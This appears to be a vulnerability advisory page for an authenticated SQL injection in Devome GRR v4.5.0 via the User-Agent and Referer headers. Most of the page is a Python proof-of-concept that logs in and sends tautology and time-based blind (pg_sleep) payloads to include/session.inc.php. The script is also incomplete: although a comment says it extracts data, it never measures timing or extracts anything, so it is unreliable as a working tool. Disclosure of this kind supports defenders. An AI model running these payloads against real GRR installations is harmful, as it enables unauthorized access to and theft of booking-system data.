Devome GRR v4.5.0 was discovered to contain multiple authenticated SQL injection vulnerabilities in the include/session.inc.php file via the referer and user-agent.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Devome GRR < 4.5.0
Devome GRR v4.5.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2026-30711 PoC - Authenticated SQL Injection in Devome GRR v4.5.0
# Target: include/session.inc.php via referer and user-agent parameters
def exploit_sql_injection(target_url, username, password):
"""
Exploit authenticated SQL injection in Devome GRR
"""
login_url = f"{target_url}/login.php"
session_url = f"{target_url}/include/session.inc.php"
# Step 1: Authenticate to get valid session
session = requests.Session()
login_data = {
'username': username,
'password': password
}
resp = session.post(login_url, data=login_data)
# Step 2: Inject SQL via User-Agent header
sql_payload = "' OR '1'='1" # Basic SQL injection test
headers = {
'User-Agent': sql_payload,
'Referer': 'http://example.com'
}
# Trigger the vulnerable code path
response = session.get(session_url, headers=headers)
# Step 3: Extract data via time-based blind SQL injection
blind_sql = "'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--"
headers['User-Agent'] = blind_sql
response = session.get(session_url, headers=headers)
print(f"[*] Request sent with payload: {blind_sql}")
return response
if __name__ == '__main__':
if len(sys.argv) < 4:
print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>")
sys.exit(1)
exploit_sql_injection(sys.argv[1], sys.argv[2], sys.argv[3])